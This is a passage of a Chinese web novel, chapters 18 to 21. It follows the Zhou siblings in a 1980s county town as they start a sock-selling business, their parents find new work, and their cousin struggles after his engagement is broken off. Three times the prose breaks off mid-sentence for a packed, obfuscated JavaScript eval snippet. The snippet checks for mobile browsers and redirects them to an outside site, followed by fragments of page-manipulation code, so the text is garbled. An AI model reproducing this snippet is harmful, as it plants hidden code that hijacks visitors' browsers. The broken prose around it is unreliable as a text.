许芝灵脸色有些复杂,回抱了一下周晚。 “……晚晚,如果我做了什么不好的事情,你一定不要怪我,我也是没办法了。” 周晚不觉得一起长大的青梅能做什么不好的事情,她用力地摇摇头:“我相信你……芝灵,你一定没问题的!” 这一天剩下的课程,周晚上得有些闷闷不乐,暂代的班长位置,放学的时候都没第一时间站起来组织大家喊“老师再见”,铃声刚消停下去,其他人挤挤挨挨地往外走,周楚成敲响了妹妹的课桌。 “怎么了,不是中午好不容易跟你好朋友见一面,怎么心情还弄得那么差?” 18. 第 18 章 周晚说不是,可周楚成哪不明白自己妹妹什么性格,面对亲哥的凝视,周晚没了借口,只能把和许芝灵聊天的内容给哥哥复述了一遍,周楚成耳朵里听着,总感觉哪哪儿都奇怪。 “她以前就这么说话?” 周晚点点头,又摇摇头:“有时候会说羡慕我,要是她也是咱们家的闺女就好了,但是不像这次……” 她不知道要怎么表达,可是这次和好姐妹碰面,她心里却不像以前那样欢喜雀跃。 以前许芝灵也偶尔会开玩笑,会跟她说人不为己天诛地灭,要她把手里的东西牢牢抓住,不要让别人抢去,周晚知道她家情况复杂,她爸妈偏爱弟弟,她并不觉得许芝灵这些话有什么不对的地方,而且好姐妹虽然嘴巴上总说要为了自己,可对待她这个朋友并不小气,两人有什么好吃的好玩的从来都是一起分享。 可是这一次,似乎有什么地方变了。 她还是她,可她面对许芝灵的时候,却感觉面对面站着的那个女孩有些陌生,那样冷的目光,似乎还带着一点试探,自嘲的笑容底下,却又无时无刻不在打量她的表情,好像是在观察她会对此做出什么反应。 走之前,许芝灵留下来那句意义不明的话,更是让周晚耿耿于怀,什么叫“不好的事情”,又为什么会说她会怪罪?周晚想了一下午也没想出所以然来,在哥哥面前话都摊开讲了,她也不掩饰自己的闷闷不乐。 周楚成皱了皱眉。 他对妹妹这个青梅发小说不上熟悉,毕竟他也没和对方打过什么交道,但偏偏许芝灵这个人不是什么无名小角色,在书里是他大堂嫂! 他妹不知道的事情,他还真不见得不知道。 如果他没记错,许芝灵在小说里是考上了联办班,并且就是在这段高二最后的冲刺生涯中,和他堂哥周敬慢慢地越走越近,两家在高考前过了明路,等录取通知书下来,两个人就定了婚事,一起去京城求学。 怎么到这辈子……故事对不上了? 周楚成开始怀疑自己记错了,可询问了一遍系统,却得到了系统的肯定,原本的剧情就是他说的那样,也就是说,这辈子许芝灵没考上联办班,剧情脱离了原本的发展。 接下来她和周敬还会不会走到一起,这是一个问题,另一个问题就是,现在大队上已经乱成了一锅粥,许芝灵在城里找不到工作,也不可能再临时加入联办班来上学,她还对周晚说了那么一番话——她是不是有什么不好的打算? 又在乡下,又可能牵扯到周晚的,就只剩下一个人。 ——蒋渣渣。 路边有卖叮叮糖的,一群半大的小屁孩围着摊位探头探脑,周楚成混在里头也买了五毛钱的,分给妹妹一半。 “咱们搬进城里来,你和你对象说过没?” 叮叮糖吃在嘴巴里甜津津的,和之前蒋南送的麦芽糖相比起来更凝实,味道也更甜,周晚垂了眸:“……说了。” “他咋说?” “……没咋说,还是那几句吧。” 周晚没说,其实那天她和蒋南大吵了一架,之后冷战到了现在,两人处对象以来还从来没有像这样吵得不可开交过,蒋南觉得她做错了,放着有京城这条康庄大道不走,硬是要一家人挤在县城里那个小小的院子里。 周晚一开始还努力辩解,是因为城里机会多,现在乡下也没什么可做的了,一家人也要找个出路,可两人说着说着,不知道怎么的就成了她在践踏蒋南的真心,她不懂事,不体贴人,把蒋家的好意当成驴肝肺。 她就让蒋南回城,这边联考班进度也跟得快,她一定能考上京城的大学,去京城和他团聚,到时候她不愁工作,也能站稳脚跟,两个人的小家庭经营起来没有风险,也不给长辈们添麻烦。 可两人说不到一堆去。 最终点燃她那把火的,是蒋南气头上的一句“你就是去了城里,也不见得能考上大学!” 周晚忍了又忍才没甩他巴掌,可她不愿意再和蒋南说下去,脑袋被哥哥摸了一把,周晚有些酸涩:“……我和他,都需要时间想清楚吧。” 当初她会喜欢上蒋南,也是因为在大队上,蒋南的的确确就是穿得最整洁,也是最文质彬彬的那个,她那会儿恰好下学回来帮家里双抢,结果意外受了伤,他还拿自己的干净手帕帮她包扎。 少女春心萌动,对于周晚来说,这份初恋美好,甜蜜,又充满了理想主义的光彩,她好好念书,一多半是为了父母不担心,为了分担哥哥在外闲逛的舆论压力,可内心深处,也有那么一丝是因为蒋南。 想要变得更好,想要和对方般配,想要以后提起他们这一段姻缘,不是蒋南单方面的迁就,而是双向奔赴的恋情,想堂堂正正站在他身边。 可随着身边的环境翻天覆地的变化——先是哥哥要高考,后来是一家人进了城,现在她妈沈桂香天天在家跟隔壁大姐一起织毛衣,挣外快,她爸周红军到处奔波,还借耿勇的关系,在厂里接了几个小单子。 一家人的生活,每天睁开眼都在变,只有她,处在家庭的中心,所有人都保护她保护得很好,她只需要安安稳稳当家里的幺女,不需要考虑那么多,天塌下来父母哥哥都会帮她挡住。 周晚扪心自问,她作为女儿,又能回报他们什么呢? 今天许芝灵的话,彻底点醒了她。 不是人人都有她的好运气,有那么好的父母和哥哥。 她不能眼睁睁看着只有身边的亲人们辛苦,她也想要为他们考虑,为这个家庭打算,她不愿意再像以前一样无忧无虑地过自己的日子。 “如果这一遭能度过去,以后我们也能有劲儿往一处使,如果度不过去……就当是有缘无分。” 周楚成看着自家妹妹的笑脸,虽然有些无奈,却很真挚,这是她深思熟虑之后的想法,不是和蒋南闹脾气,在气头上话赶话说出来的。 “我妹长大了啊。” 半个月前还会为了一封情书小鹿乱撞,现在却能把身边的人和事都看在眼里了,周楚成又在妹妹脑门上摸了一把,“挺好的。” “我就是想着,既然爸妈都在忙……咱们要不要也想个什么办法,能挣一点钱。”周晚反过来征求起了哥哥的意见,这个念头其实在进城的时候她就放在心里了,但一直没有说,“不用太多,能解决吃饭定量的问题就行。” 周家没换粮食,现在城里买粮买肉,都是靠耿勇的关系换到的全国粮票,但人家给换票也不能什么都不挣,比黑市便宜是便宜,但还是要用掉不少存款,但一家四口张嘴就要吃饭,不可能不花这个钱,周晚琢磨着,要不要和哥哥一起,再做点小生意。 但具体做什么,她也没头绪。 周楚成努了努嘴,示意周晚低头看一看自己。 “发卡?” 她戴的水晶发卡,是之前周楚成有一次任务奖励给的。 但答案不是这个。 “……裙子?” 周楚成摇摇头:“裙子不行,你会裁剪还是我会裁剪?要是这一招行得通,我也是让妈试试,而不是咱俩来弄,那不是胡搞么。” “那……鞋子?” 鞋子也不是个好主意,进货的时候占地方,一次买不了多少不说,还特别惹眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210175|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周楚成揭开了谜底:“袜子。” “袜子!?”周晚万万没想到是这个答案,“为什么是袜子?” “你今天在班上的时候,你那些女同学怎么说的?” “我想想……一开始她们说这个裙子很漂亮,不愧是的确良的料子,很滑,然后说今天这一身搭配很好看,皮鞋就该配这样的荷叶边袜子比较有青春感——啊!”周晚自己反应过来了,“她们很在意袜子。” “当然,你想想,以前在大队上,为了下地方便,大家都是穿解放鞋,袜子也是可着那一两双穿,但是城里人不一样,他们不用天天和土啊泥的打交道,街上不是穿皮鞋的,就是穿靴子的,还有那种白色的运动鞋。” 周楚成观察得很仔细,他示意妹妹看身边走过去的年轻男孩,正好脚上就踩了一双白色的帆布鞋,上面是红色的橡胶条,于是男孩也穿了一双竖条螺纹的中筒袜,刚好过脚踝,及小腿一半,看上去又阳光又精神。 另一边的女工人就不一样了,显然是刚刚三班倒下班回家,大波浪头发竖起来,脚下却蹬了一双高跟鞋,她穿的薄薄的短袜,看上去就一点不显得突兀,反而远看上去肤色均匀,和鞋子特别衬。 “最重要的一点,当然就是损耗。”周楚成说道,“比起一年可能都不会买一双的皮鞋,和根本不好搞到料子,大多数人也买不起、买不到的的确良裙子,袜子才是最实惠,但是又最容易磨损更换的,进货还不占地方。” 周晚听得连连点头,不愧是她哥,两人从小一起“做生意”,她哥的眼光一直就比别人要好得多,听他这么一说,她完全就被说服了,袜子的确是个不错的选择。 不过—— “哥,你说得这么头头是道,你是不是早就有这个念头了?”周晚“拷问”道,“要是我不问你,你是不是打算不带我?” 周楚成摸了摸鼻子:“你跟我情况不一样,爸妈还指望你考个好大学,给家里光宗耀祖呢,自己乖乖学习,这些事情用不着你操心。” “别转移话题,你不也要高考嘛!”周晚不服气,“而且我不会耽误学习的,我保证!” “你确定?” “我确定!” “每次考试都考前三名?” “我……”周晚弱了一下,马上又支棱了起来,“我可以!” “那行,不耽误学习,带你就带你呗。”周楚成笑嘻嘻地说道,“正好你还可以给咱们兼职一下模特。” 就凭他妹的颜值,天天在学校那么一晃悠,一搭配,还担心没小姑娘买? “那咱们什么时候开始做生意呀?”周晚追问道,“县城可没地方买那么多袜子,咱们要卖给女同学,还得要不同样式,不同风格的吧——这些至少得去省城才有,咱们怎么去?” “这个就真不用你操心了。”周楚成卖了个关子,“有人已经去批发市场了。” 同一时间,省城小商品批发市场的摊位上,一个剪了板寸,留着胡茬,面容看上去有些严肃,有些唬人的男人从人堆里挤了出来,手里的蛇皮口袋装得满满当当。 身后穿来口音各异的叫卖声和砍价声。 “便宜点,三毛一双!” “三毛卖不了,你找别家去!” “三毛五,不能再多了!” “来我这买,用不着三毛五,我只要两毛五一双——” 男人抹了把脸,布满汗水的手掌下,他抬起头来,映着路灯,终于看清了这个人的相貌——哪是什么男人呀,分明就是剪短了头发,还刻意留了胡子没剃干净的年轻男孩,周楚成的好友之一,赵小鹏! 19. 第 19 章 赵小鹏的确是想做点什么的,但他再怎么受宠,也始终只是大队长的外甥,最远也就跟着大队长到过县城,以前周楚成喜欢看的那些小说倒是他偷偷带回去的,可再多他也不会了。 所以周楚成找到赵小鹏,说要和他合伙做生意的时候,赵小鹏都惊了——他连省城要坐哪班长途客车才能到都不知道,他、他得每周去省城进货? 退堂鼓还没打起来,他自己又收了回去,周楚成跟他从小关系就很好,而且对待他并不像大队上其他人那样,因为他是大队长的亲戚就对他“区别对待”,朋友之间闹了矛盾,周楚成照样和他吵,他做错了事情,周楚成这个当“大哥”的也毫不犹豫要教训他。 现在大哥找他做正事,他要是缩了脑袋,以后还有什么脸当朋友? 赵小鹏牙一咬,干了! 周楚成眼光好,卖什么货,去哪里进,怎么进,都是周楚成交代,赵小鹏不用上学,又不愁开介绍信,他就负责行动,把货运到县城来卖。 赵小鹏没别的本事,就一点,听劝,周楚成让他想想要不要做点事儿,他听进去了,周楚成教他怎么分辨省城哪些进货渠道好哪些不好,他听进去了,周楚成跟他说别让人看出来他是新手,他也听进去了,胡子刮得剩半截胡茬,头发也剪成了板寸,配上他那张本就浓眉大眼的脸,有威慑力了许多。 虽然一开口就知道是个愣头青,但赵小鹏有自知之明,他不说话,走的就是个“闷葫芦”人设,批发市场的老板们哪怕精明,也有不少给他蒙混了过去,最终砍到两毛五一双的袜子,款式自己选,选好了就往袋子里塞。 去程空空如也的蛇皮口袋,回来的路上就装得满满登登,夜里深了没有回县城的客车,赵小鹏干脆就在车站里头蹲了一夜,甚至不敢把袋子放在脚边,而是牢牢地抱在怀里,跟个十月怀胎的孕妇似的捧着肚皮,直到天亮第一班客车售票,他赶紧就买了票回县城,第一站就去了周家。 哪怕周晚已经在哥哥那知道了这笔生意,但她亲眼看见那满满一蛇皮口袋的袜子,还是惊讶得说不出话。 更让她震惊的是这些袜子的价格,在学校和女同学们聊天时,周晚也知道县城的物价比红旗大队还要贵,哪怕是一双最普通的尼龙袜子,县城里也得五毛一双,要是棉袜那就更贵,起码得六毛一双。 更别说女孩子喜欢的什么荷叶边,什么绣花,这些都得加钱才能买到,还供货紧缺,据说供销社上多少就能抢多少,有些售货员甚至到了货就偷偷给亲戚朋友先分掉,整个市场完全是供小于求,一双放出来,不知道多少人愿意买。 赵小鹏却说成本只需要两毛五,加上来回车费,一双也摊不了几分钱,更重要的是袜子轻,又不占空间,他连摆摊的位置都选好了。 “就放在中学对面那条宽巷子街,视野好,方便买卖,要是联防的来了也能马上看见。” 这小心思昭然若揭,显然是盯上了县城中学庞大的学生群体,周楚成觉得这个主意好,让他留几双漂亮的给周晚,给他介绍:“我妹给我们兼职当模特。” 赵小鹏开始还有点半信半疑,觉得他楚成哥要给妹妹送礼物也用不着还这么拐弯抹角,谁知道第二天一放学,他的摊位就被围满了,挤挤挨挨的全是年轻学生。 “周晚那身搭配多漂亮,是人家从省城那边学来的!” 就这么一句,引爆了县城中学的时尚潮流。 就像红旗大队向往憧憬县城一样,县城的学生们最憧憬的就是省城,省城有高楼大厦,有省城百货,甚至还有游乐园,要修摩天轮! 要是那套衣服是周晚自己搭配的,那大家只会夸一句不错,可传出来是省城这样流行的,大家有意无意地就放在了心上,又不知道是哪个小道消息说,她搭配小皮鞋的那双袜子也是省城买来的,最近正好有人在学校门口卖同款,学生们沸腾了。 男生们在意的是物美价廉,尼龙袜子够不够耐磨,他们要打球,要运动,十几岁正是青春活力的时候,一双袜子缝缝补补,他们自己也觉得没脸面,听说这里有摆袜子地摊的,上手就挑了起来。 这些大多是县城本地人,收入比乡下高出不少,更别说赵小鹏一双尼龙袜才卖四毛,要是买三双,就只要一块钱,这边赵小鹏数钱还没数过来,那边周晚的女同学们也赶了过来。 她们看上的就是省城样式丰富,花样精美的那些,售价也更贵,女孩子们不会和男同学一样一次买很多双,但对于喜欢的样式绝不会拱手让人。 就这样你一双我一双,赵小鹏甚至感觉自己还没站多久,摊上的货就被横扫一空! “成哥,我感觉跟梦一样。” 周晚也“参了股”,她对数字敏锐,很快就算出来了这一天的销售额—— “一千零三十七块九毛五!” 有零有整,也是这个时代的常态,这个数字对周家兄妹来说是惊讶,对赵小鹏来说……他说不出话了,两眼一翻就差点晕过去。 “小鹏!” “小鹏哥!” 这一下给周家兄妹吓得不轻,周楚成从兜里掏了一颗系统给的阿尔卑斯糖塞到赵小鹏嘴巴里,后者这才慢慢地清醒过来。 不眠不休连轴转了一天一夜,揣着那么多钱去进货,也不是完全不害怕不担忧的,甚至在摆摊开始的时候,赵小鹏心里都打鼓得突突跳,可当所有的货都卖了精光,当那么多票子摆在他面前的时候,赵小鹏想哭。 “楚成哥,晚晚,我不是在做梦吧?” “不是,咱们这个生意就是挣钱了。”周晚憋着笑,帮大脑已经完全停止运转的赵小鹏计算,“往返的客车费用,还要减掉进货的成本,挣了525.95。” 这里面还有三个人的“本金”,不过就算抛开这笔成本,利润也足够可观——毕竟赵小鹏满打满算也就去了省城一天,摆摊的时间还没有他在批发市场里面杀价长呢! 周楚成下了结论:“这个生意可以一直做。” 赵小鹏也很兴奋,他唯一困扰的问题就是人有点不够用,他一个人,又是进货,又是带回来卖,一路上有许多地方都是有风险的,比方说他客车上就遇到一个大哥去省城打工,但随身放的大团结不知道被谁偷走了。 周晚想起她妈沈桂香高超的缝纫手艺:“把钱缝到衣服中间去,袖子、内衬、裤子,到处都能缝,分散一点。” “实在不行,你就在省城住一天招待所?你舅舅应该开得了介绍信。”周楚成也提议。 但赵小鹏舍不得招待所的钱,一晚上好几块钱,都抵他一个单程的客车票了,他想到大队上的朋友,和周楚成商量把李灿几个人要不要也带过来一起发展。 周楚成当然没意见,上辈子……小说里他就是和李灿一起创业的,尽管这个发小长大后性格变了许多,赵小鹏上次还说李灿最近人怪怪的,但毕竟十几年的交情,双方知根知底。 赵小鹏很高兴,甚至主动和周楚成商量起还要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223593|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要再进购一点别的东西搭着买——“手套、围巾,天气越来越冷,这些东西肯定是有市场的。” 围巾手套成本高是高一点,但卖出去也贵,谁知道三人在屋里聊得太久,去隔壁家织毛衣的沈桂香不知道什么时候回来了,一耳朵听了个全。 “你们不用赶那么远去省城进围巾,我现在织毛衣就是挂靠的省城的外贸公司,可以直接找我做,还便宜一点。” 袜子得机器大批量制作才有利润,但围巾不用,纺织厂的女人们在院子里坐几个下午就能织个大半,沈桂香一开始不会,但跟着她们学了不少,反正围巾也没什么太繁复的花样,她也应付得来。 围巾只是搭头,重点还是卖袜子这种轻便又不占空间的小东西,赵小鹏越想心思越活络,沈桂香好说歹说把他留下,让他吃碗肉末面条再走,赵小鹏急着去找李灿他们商量卖货的事情,三两下风卷残云就把面条吃得精光,让周家兄妹等他好消息。 晚上周红军也回来了,晚饭有肉有菜,一家人围着桌子吃饭,先是讨论兄妹俩的学业,讨论县城中学,接着话题慢慢就蔓延开来,说起了赚钱的事儿。 以前在大队上,周红军是家里最能挣钱的一个,周晚不说,沈桂香和周楚成都是只有工分,没有副业进项,就他一个粗木工细木工都能一肩挑,在大队上没少帮人做私活,换些粮油也能给家里添点荤腥。 现在进了城,情况却反了过来,沈桂香凭借一手好手艺不愁攒不到外快,周楚成周晚兄妹俩更是天不怕地不怕,竟然在联防队的眼皮子下面跟赵小鹏搞起了“个体经济”。 看来看去竟然就剩他一个被甩在了后面! 周红军嘴巴里苦,他还一厢情愿地想着进城之后是他来养活家人儿女,让他们无忧无虑地上学,结果呢,现在成了儿女来养他了……成何体统! 耿勇倒是人如其名很耿直,带着他接了几个小单子,但木匠这行业不比日用品,不可能过两三个月就换一批,这些客人们倒是满意周红军的木工手艺,但也就仅此而已了,后续是再没开张过。 一次人情好说,总不能次次都麻烦人家耿勇,那他周红军成什么了?而且妻儿都有本事,他自己要是撑不起来,这个家里他都抬不起头,周红军嘴巴上不说,心里攒着一股劲,刻了个“专业木匠接活”的牌子大街小巷地“自我推销”,只是目前还没有太大的起色。 “今天有一家本来是打算让我做梳妆台,结果不知道他家里人咋说的,过会儿又说算了,说是找国营家具厂做。” 周红军难掩心里的郁闷,要只是单子没谈下来就算了,偏偏这回是煮熟的鸭子飞了,怎么想怎么意难平,“说我这种私人的没保障,不像家具厂,厂子就在那,跑得了和尚跑不了庙。” 周晚悄悄给她爸夹了一筷子肉,周红军心里这才舒服点了,周楚成手里拿着筷子,又撑着下巴,不夹菜也不说话,过了好一会儿,他突然拍了下桌子,“哎”了一声,给周家人吓了一跳。 “爸,你给我灵感了!” “啥、啥灵感?” “家具厂啊。”周楚成说道,“那个人不是说,私人的没保障,要打大家具还是得找厂子吗……那你也可以变成厂子里的人嘛。” “我?”周红军觉得儿子想多了,“我一个农民,而且我都这个岁数了,又没文凭,我还想进厂端铁饭碗,你咋想的?” “你是没有这些,但是我说的也不是铁饭碗,爸,你有没有听说过挂靠?” 20. 第 20 章 在以前的年代,哪个木匠归哪个大队管理,那都是有定数有说法的,但正如政策变化让周红军这样的木匠们走出了乡村,城里相关的行业也出现了一些变化。 比如说,不少木工厂、家具厂,甚至是一些其他工厂的木工班,开始接收外面来的木匠,为了避免矛盾,他们不会给这些木匠正式编制,但待遇却很丰厚,最重要的是,一旦顺利挂靠,从名义上说,这些木匠就有了单位,他们就是这些工厂的工人。 一样可以私下接活不说,还有了避风港——这年头,大多数人还带着对个体户的不信任感,尽管周楚成知道以后的发展,对做生意并没有排斥感,但周红军骨子里还是有些保守的。 儿子的这个主意给了周红军不少启发,隔天周红军就去问了问距离他们最近的纺织厂,这才知道虽然他们木工班不招人,但这个挂靠的东西的确可以搞! 他跑遍了全县城所有跟木匠搭得上边的厂子,七家不收,有四家想要初中毕业生,但是有两家说还不错,让他当场做了个小家具的样品,周红军回到家等了两三天,好消息来了——隔着三条街的木器厂看上了周红军的手艺,同意让他过去挂靠。 “……说他们那的后生娃现在都只会粘板子,做刨工,稍微复杂一点的工艺就吃力。”周红军有些感叹,“不像我们,那在乡下谁还分来分去的,一个人就把什么柜子椅子床的打好了,人家买来要什么花纹,咱们就得做什么花纹,由不得挑。” 当年周红军不知道闷头研究了多少日日夜夜,打坏了多少木头,又受伤多少次,才成了现在的木匠师傅,“现在一个月工资三十,要是能考下来木工等级证书,就加钱,按到时候定制什么家具来给,计件。” 计件相当于是木器厂出面去揽那些难度高有挑战的活儿回来给木工师傅们分,到时候做出来和厂里一边一半地分,周家人都很高兴,沈桂香催促着周红军趁这个机会干脆也和儿女们一起学习:“把那证考下来,工资不嫌多的!” 于是周红军刚去上班没几天,就扛回来一台厂里淘汰的书桌样品,在客厅一字摆开,原本的饭桌平时不用的时候就挪到角落里去,成了他的“书房”。 一到晚上,周家的灯比邻里都要亮得久,周红军在客厅,他连小学都没念过,现在又要从头开始认字拼音,他想了想,干脆拉上沈桂香一起念,两口子感情比以前还更好了。 周楚成和周晚兄妹俩则是各在各的房间里做卷子做题,两人最近烦恼很多。 联考班的进度拉得很快,远比之前公社中学的时候要严得多,那些知识点周晚并不陌生,可要把它们融会贯通还不熟练,因此她每天都会给自己加一些额外的功课,让自己更好地适应县城的教学节奏。 周楚成就不说了,经历过,且还在持续经历系统毒打的周家老大对于县城这点教学压力心很大,甚至觉得卷子还挺少,他烦恼的事情是另一个——学校好像有人在偷偷追他妹! 一开始有人告诉周楚成的时候,他还以为人家搞错了,结果留心观察了一下,好家伙,一到中午去食堂吃饭的时候,就有男学生不知道从哪儿冒出来殷勤地请周晚吃饭,还美其名曰“想讨论学习”,“想请教你问题”。 幸亏他妹一点没意识到,还傻愣愣地跟人家说自己带了饭票,学习问题比较重要,可以就在教室里讨论完了再去吃,没能让那些人的“奸计”得逞,可很快他们又转换了策略,下课有事没事就往周晚桌边凑,借着学习的借口一个劲儿地跟她搭话。 周晚又不是会拒绝人的性格,一来二往,还真有几个男生借此机会拉近了和他妹的关系。 周楚成气麻了。 怎么着,好不容易他才带着他妹暂时脱离了蒋渣渣的魔爪,这些没脸没皮的这就凑上来了,问过他这个当哥哥的意见了吗? 于是男同学们又一次“请教学习问题”的时候,周楚成笑眯眯地把胳膊搭在了对方的脖子上:“有什么学习的问题问我啊,咱们关系那么好,我给你讲。” 对方还在疑惑“什么时候咱俩关系好”这个问题的时候,周楚成就给人拽着到了自己座位上,一把抢过对方手里的卷子开始毒舌点评—— “这道题这么基础,上课老师讲了八遍了,你睡觉呢?” “勾股定理是你家亲戚啊,想怎么用怎么用?” “这个答案等于-2就跟1+1=3一样离谱。” …… “探讨学习”的男同学像个小媳妇似的委屈巴巴地夹尾巴逃了,周楚成气定神闲地撑着下巴往桌上一靠,气出了,人又舒服了,唯独他妹从头到尾没理解这两人在打什么哑谜,一头雾水。 因为周楚成的这一次搅局,兄妹两人的联办班生活又变得平静了下来,回到了枯燥的做题——听课循环中春天过去了,夏天刚刚开始,周楚成却发现了周敬最近情绪不太对。 他成绩竟然下降了! 联办班要抓的是高考,每周不是大考就是小考,总之就是周周有考试,周敬从来是班上第一,可谁知道连着两周考试,他的成绩都跌到了班上的第六! 看上去只差几名,甚至只差距了几分,可周敬是什么人,心比天高,不是文人却有一身傲骨,距离高考这么近,他却考了这么低的分数,周敬恐怕自己都抬不起头。 可周敬与其说是因为成绩,倒不如说有别的事情让他神思不属,连上课视线都在飘。 到底两人之间关系没到那么好,周敬自己不说,周楚成也不好问,他自己还有一堆事儿要头疼。 赵小鹏拉了人去进货,“股东”还是只有最初的三个,但本金比一开始翻了好几倍,他眼界大了,胆气也变大了,赵小鹏不满足于挤客车来回跑,想去买个小货车自己拉,大队长却说什么也不让,现在两边僵持不下。 他爸周红军挂靠了木器厂,工作倒是做得起劲,可他妈沈桂香的织毛衣事业遇到了阻碍,之前邀约他妈一起织毛衣的邻居打算不做了,她要是退出,沈桂香也不方便再在那个“团队”里做下去。 周晚回了一趟乡下,又和蒋南甜蜜如初,两人还写起了往来信,三天两头就寄信联络感情。 还好关键时刻,赵小鹏自己硬气了起来,一声不响地竟然在县城就租了个房子——给舅舅舅妈一家留了五百块钱,他要出来单过! 八十年代的五百块,哪怕这些工厂的工人不吃不喝也得攒一年,更别说乡下,好几年才有这个数,赵小鹏这一下几乎就给自己身上的积蓄掏空了,可他下定决心的事情就不会反复,哪怕夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253164|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的客车上又臭又挤又热,他还是披星戴月带着兄弟跑去批发市场背货进货,给兄弟的工资按双倍发,剩下的问周楚成是要分红,还是赚的投进去扩大投入。 周楚成选了第二个,周晚也是,两个股东都同意,赵小鹏就甩开膀子使劲干了,进货的频率、货的质量价格拿捏得越来越炉火纯青,他自己租住的小院里头锁头一把比一把大,里面都堆着的是秋冬的衣服——他趁着反季低价甩卖囤了一大堆,等着下半年的时候全部卖出去。 万事俱备,就只差攒钱慢慢买辆货车了,一辆货车两万,算上上牌各种费用估计得三万多才能买到,但赵小鹏现在是批发市场大客户,他不仅在县城卖,还学了乖,把整个省城附近的大小乡镇全都跑了一遍卖东西,这样一来利润不仅没受影响,卖货的速度还更快了,估计不会攒太久。 沈桂香也拿定了主意,她决定不继续跟着邻居们搭伙,自己出来单干,外贸公司那边的单子虽然没有了,但是她有了新的想法:“我打算定《时尚》还有《大众潮流》来家里看,学学那些花样,到时候小鹏出去卖货,就把我的也搭上……就说,是沿海那边的时尚样子。” 尽管这件事对沈桂香来说也是措手不及,但她也不是刚进城那会啥也不懂的乡下妇女了,每天和女人们一起织毛衣,她自己也在留心那些信息,现在事情真的走到这一步,她也有心理准备。 《时尚》和《大众潮流》都是跟衣服相关的杂志,以前沈桂香觉得毛衣、围巾也不过就是那些款式,但上次在邻居家她无意中看到一本,上面的设计、裁剪,就和她以前知道的完全不同,“就前段时间那个岛国电影里演的那一套衣服,听说纺织厂有手巧的女工自己用缝纫机复原了一套,卖疯了,现在要想找她买,自己出布票、出钱,还得排上大半个月!” 这也是让沈桂香彻底下定决心的原因之一,时代变化太快了,她不能停留在原地打转,必须得跟上步伐,周家人晚上吃饭一合计,干脆在这两本杂志的基础上,又给沈桂香买了一台缝纫机——接下来是夏天,裁剪衣服也是一笔外快。 其他事情都完美解决,可以说是虚惊一场,唯独周晚和蒋南之间又恢复通讯这件事让周楚成不太乐意,不过周晚也知道分寸,尽管两人还是有书信往来,但她也表了态,一切以高考为重。 “蒋南说他也会参加高考,他考回京城,我也去京城。” 距离高考还有时间,加上周晚的的确确也和以前性格有了变化,不再被蒋渣渣几句话弄得在家里伤心,周楚成也就懒得管了——蒋南爱考京城就考呗,又没人规定他这个“大舅哥”不能考,只要他在妹妹身边,还怕妹妹吃亏不成? 周晚自然是不会吃亏的,倒不如说周楚成在她身边,带给了她无穷的安全感,县城中学不是铁板一块,普通班的学生遇到联办班有时候也会阴阳怪气几句,周晚不爱听,以她的性格也只是自己默默走开,但周楚成要是在场,会毫不示弱地反唇相讥回去,最后反而是普通班的学生一脸青白地灰溜溜走开。 就在这样的氛围里,周家的气氛一天比一天热闹起来,联办班也迎来了第一次正式的高考前模拟考试。 周晚全校第十七,周楚成第二十二,周敬一落千丈,掉到了全校第六十三。 21. 第 21 章 这下整个周家都惊动了,再三询问之下,周敬才说是因为许芝灵要和他退亲。 之前他妈王莲芳想方设法地找了许家,两家把亲事过了明路,当时想的是周敬和许芝灵双双考上大学之后就操办婚事,谁知道许芝灵连联考班都没考上,后来也没在城里找到工作,“她的意思是以后两个人也不会有交集了,早点断了一了百了。” 这也是无奈的现实,许芝灵看样子是离不开农村,周敬虽然暂住在姑姑家,但只要他考上了,这些都不会是问题,两个人的差距只会越来越大,周敬不想应也只能应了,但到底是初恋,还是给了他很深的打击。 周家大伯周红旗和王莲芳少有的不知道要怎么办,只能耐下心慢慢安慰,就连沈桂香这个泼辣性子也在侄子面前收敛了不少,一家上下都尽可能不要刺激他的情绪。 周敬吃不下饭,一天天地消瘦下去,周晚还给他带了学校门口那家好吃的炊饼。 周楚成看在眼里,什么都没说,二模之前,他径直找到了在教室自习的周敬,往对方桌上塞了一堆辅导书就走,周敬呆了呆,等周楚成人走了他才反应过来,把这些教辅资料打开一看,里面绝大多数都是他没见过,但又特别契合高考出题思路的习题。 周敬沉默了很久很久,忽然给了自己一巴掌,然后一边啃炊饼,一边拼命地做起题来,比以前还要认真——身边所有人都在关心他,就连周楚成也想拉他一把,他不是扶不上墙的烂泥巴,他是周家这一代的大哥,他要是颓废下去,有什么资格再以这个名头自居? 